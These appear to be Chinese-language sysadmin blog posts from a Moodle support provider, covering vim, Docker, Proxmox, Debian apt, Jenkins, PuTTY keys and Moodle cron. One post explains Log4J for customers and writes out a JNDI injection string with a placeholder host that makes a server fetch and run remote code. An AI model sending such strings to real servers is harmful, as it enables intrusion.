




我們常在 vi 內選取我們要的內容, 可能複製來記錄、下指令或其它用途;以往只要抓著滑鼠點選並拖曳就可以選取我們要的文字,但最近確出現,原本應該要多重選取的行為,在滑鼠推曳後變成捲動 vi 內文?
要解決這個方法有兩個:
set mouse-=a
這個指令,但是每次進來 vi 都要下.set mouse=
就可以了, 只個檔案如下:set mouse=
set ttymouse=
如果要在整台 linux 都採用這個設定(global), 把相同內容寫在 /etc/vimrc 內即可。
準備空間,實體位置,方便備份串流資料。
stream 下有 data 及 hls ,eg. /home/stream/data and /home/stream/hls
sudo mkdir -p /home/stream/data/tmp_uploads
sudo mkdir -p /home/stream/data/tmp_videos
sudo mkdir -p /home/stream/hls
準備 redis 空間(方便以後備份資料庫)
sudo mkdir -p /home/stream/redisdata
docker run -d --name Toriredis --restart=always -v /home/stream/redisdata:/data redis redis-server --appendonly yes
從 docker hub 抓取 image
docker run -d --name Yakitory -e RACK_ENV=production -p80:80 -v /home/yakitory/data:/opt/yakitory/public/data -v /home/yakitory/hls:/opt/yakitory/public/hls --link Toriredis:redis moodletw/tory-sandbox2020:76
-p80:80 以 http 埠
-v 對應空間
–link 連 redis
瀏覽器開 VM IP 的 80, eg: http://34.81.42.35/ login
用 Create new 新增一個 client 給 Moodl 用 。
接下來就到 Moodle 安裝外掛(plugin) 來使用串流了。
因為 Proxmox 的 LXC 己經是 container, 在發現有 portainer 時, 就不在需要用 Proxmox 建 VM、再安裝 Docker 當 HOST 的方式。
找一台 PVE 的主機,進入 debian 的 root 權限。
apt-get update
apt-get dist-upgrade -y
apt-get install -y apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
#以下這段要另外複製到 notepad 上再貼到 debian 執行(因為 new site 會加上一空白行)
apt-key fingerprint 0EBFCD88
接著進入 PVE55, PVE61
# $(lsb_release -cs) 就是 stretch or buster
add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/debian \
$(lsb_release -cs) \
stable"
apt-get update
apt-get install -y docker-ce
docker ps
有看到 docker 列表就ok了。
因為詢問的太多,所以特別作一篇文章跟大家說明是什麼狀況
我們都知道 Log4J 是專門記錄 log(日誌)的,而在網站伺服器記錄log的流程如下圖。
而目前的 Log4J 存在的弱點,有可能(請注意,是有可能) 遭遇攻擊的方式:
1. 偽造 http 的要求,如下圖,送出假的 agent,如: ${jndi:ldap://12.34.56.78/….}
2. 造成右邊的網站伺服器在處理log時,反而對外連到 12.34.56.78 這台主機。
(這裡為了讓大家理解,將實際減化許多)
除了連到外面主機之外,也可以下載檔案。如此一來,能做的事就很多了;
eg.先下載一個執行檔,然後再執行它。
希望以上的說明,能幫助大家對這個問題的了解;因為 log4j 的使用範圍實在太廣了,相信這也是為什麼會讓大家特別重視的原因。如果您的Moodle 或同步教室還有問題,可以連絡我們,協助釐清問題。
最近的 debian 更新時,出現錯誤:
E: Repository 'http://security.debian.org/debian-security buster/updates InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
N: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Version' value from '10.1' to '10.10'
E: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository 'http://deb.debian.org/debian buster-updates InRelease' changed its 'Suite' value from 'stable-updates' to 'oldstable-updates'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
輸入以下指令:
apt-get update --allow-releaseinfo-change
再下一次 update,就可以了。
有關 Jenkins 架構與名詞解釋:
Jenkins 採用的是 Master / Slave 模式:
Master
Slave
Job / Project : 在 Jenkins 的世界這兩個意思是一樣的,指的是可被 Jenkins 控制/監控的任務
Slave/Node
Executor
Build
Plugin
前文提到將私鑰轉換為 PuTTY 可以用的 PPK, 這裡還有另外一個用法.
直接點選 ppk 檔案, Windows 右下角(Trayicon)就會有 icon ; 這時就可以直 putty 登入(這個方法也適用 WinSCP)
藍色電腦圖示.
從 ssh-keygen 產生的 id_rsa 複製到 Windows, 開啟 puttygen.exe (install by putty) 載入 id_dsa (私鑰)轉存個人電腦 (Parameters do not change)
Other article: https://faq.moodle.com.tw/2020/04/putty-moodle.html
Putty 建立一個210.61.8.241的 sessionData->Auto-login username = rootSSH-Auth->Private key file = 剛轉存的私鑰
Data->Auto-login usernameSSH-Auth->Private Key記得Save Session!!
cron/排定的工作/排程執行
Moodle 的 cron 是重要內建功能,它是一支 PHP 的腳本程式;一個正常運作 Moodle 站台,Cron 正常在背景執行是必要條件。Moodle cron 腳本會在定時執行各種類型的工作。(— Moodle 3.5 Cron )
Linux cron
如果我們需要定期執行某些程式,在 Linux 作業系統最常見的方式,就是使用 cron 來幫忙管理例行性工作排程。Linux 的 cron是一支服務,會在特定時間內執行我們定義好的工作(就像 Windows 的排定工作)。Cron 排程的資料是存在 crontab 中,也就是說,設定好 crontab 設定檔之後,系統就會自動依照設定的時間,定期執行重複性的工作。contab 所設定的工作將會循環的一直進行下去! 可循環的週期可為分鐘、小時、每週、每月或每年等。crontab 除了可以使用指令執行外,亦可編輯 /etc/crontab 來支援。 (至於讓 crontab 可以生效的服務則是 crond 這個服務喔! — 鳥哥的Linux 私房菜– 第十五章、例行性工作排程(crontab))
crontab -l
crontab -e or vi /etc/crontab
00 0,12 * * * root /usr/sbin/ntpdate 140.134.3.21;hwclock -w
Moodle cron
Moodle 利用 cron 的功能,執行各個模組需要定時完成的工作,例如:發送信件、更新報表數據、計算活動完度…等。
admin/cli/cron.php 是要給 cron 執行的 PHP 腳本
(排程執行) 的重要性,並不輸給其它 Moodle 功能;但卻是最常被忽略的。Cron 在 Moodle 是一支 PHP 的腳本(script)程式,要讓 Moodle 正常運作,cron 必須要定時的在作業系統背景運行。(一定要把 cron 設定好,否則你的 Moodle 會不正常!)
IMPORTANT: Do not skip setting up the cron process on your server for your Moodle. Your site will not work properly without it
從 2.9 開始官方不建議從瀏覽器執行 cron 網頁(之前可以從網頁 admin/cron.php 直接執行)。一個指令就可以完成,crontab 就是你需要的指令。crontab 裡面的指令在 admin/cli/cron.php ;cli(command line interprter,就是命令/指令),以下試著用幾個步驟完成 cron 的設定…
首先,你必須要確定你的環境,在您的伺服器能用命令的方式,跑 Moodle提供 cron 的 PHP 腳本(.Moodle cron script);也就是下一步中,要設定在 crontab 內的命令(就是 admin/cli/cron.php)。請測試以下這段:
php /var/www/html/moodle3/admin/cli/cron.php
var/www/html/moodle3/要換成你的路徑。
# php /var/www/htom/moodle_taiwan/admin/cli/cron.php
Server Time: Wed, 05 Dec 2018 07:53:10 +0800
...以下省略
你應該會看到:
編輯 /etc/crontab 檔案, 加入以下內容,並儲存:
*/5 * * * * apache php /var/www/html/moodle_taiwan/admin/cli/cron.php
/var/www/html/moodle_taiwan/要換成你的路徑。
時間/日期格式說明如下表:
分鐘 | 小時 | 日 | 月 | 星期 | 執行身份 | 指令 |
---|---|---|---|---|---|---|
0~59 | 0~23 | 1~31 (29,30) | 1~12 | 0~6(0是星期日,6是星期六) | 帳號 | cron.php |
vi /etc/crontab
*/5 代表每5分鐘執行一次(時間自己決定);apache 代表執行帳號;cron.php 就是脚本。
設定好了,也要有執行的證據才能安心吧? 檢查 log , 查看有無 cron 執行的記錄.
tail -f /var/log/cron
# tail -f /var/log/cron
Nov 28 23:05:02 MoodleTW CROND[1172]: (root) CMDOUT (Cron script completed correctly)
Nov 28 23:05:02 MoodleTW CROND[1172]: (root) CMDOUT (Cron completed at 23:05:02. Memory used 56.4MB.)
Nov 28 23:05:02 MoodleTW CROND[1172]: (root) CMDOUT (Execution took 0.523513 seconds)
Nov 28 23:10:01 MoodleTW CROND[1569]: (root) CMD (php /var/www/html/moodle_taiwan/admin/cli/cron.php)
...
重點在 cron.php 有執行了.
done.
PS: 如果您是我們加值服務的客戶,/var/log/cron 沒有記錄,您可以下:
journalctl -xe
Dec 05 12:01:01 MoodleTW crond[3722]: (*system*) RELOAD (/etc/crontab)
在 crontab 儲存後就應該會看到 RELOAD /etc/crontab 這行;當然有看到 admin/cli/cron.php 就更加確定OK了。